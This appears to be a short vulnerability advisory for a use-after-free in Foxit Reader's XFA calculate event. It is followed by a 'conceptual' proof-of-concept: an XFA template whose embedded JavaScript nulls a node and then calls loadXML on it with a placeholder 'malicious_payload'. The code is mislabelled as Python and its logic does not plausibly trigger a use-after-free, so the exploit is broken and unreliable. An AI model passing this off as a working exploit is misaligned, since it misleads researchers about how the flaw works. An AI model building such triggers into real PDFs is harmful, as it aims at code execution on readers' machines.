A crafted XFA PDF can trigger a use-after-free condition during calculate event processing, causing the application to crash and resulting in an arbitrary code execution.
The following code is for security research and authorized testing only.
python
<!-- Conceptual PoC for XFA UAF in Foxit Reader -->
<!-- This XML structure is embedded within the XFA stream of a PDF -->
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<template xmlns="http://www.xfa.org/schema/xfa-template/3.3/">
<subform name="form1">
<field name="vulnerableField">
<event activity="calculate">
<script contentType="application/x-javascript">
// Trigger the vulnerability by manipulating objects
// during the calculate event which leads to UAF
var obj = this.resolveNode("targetObj");
// Logic to force free
obj.dataNode = null;
// Use-after-free access attempt
var exploit = obj.dataNode.loadXML("malicious_payload");
</script>
</event>
</field>
</subform>
</template>
</xdp:xdp>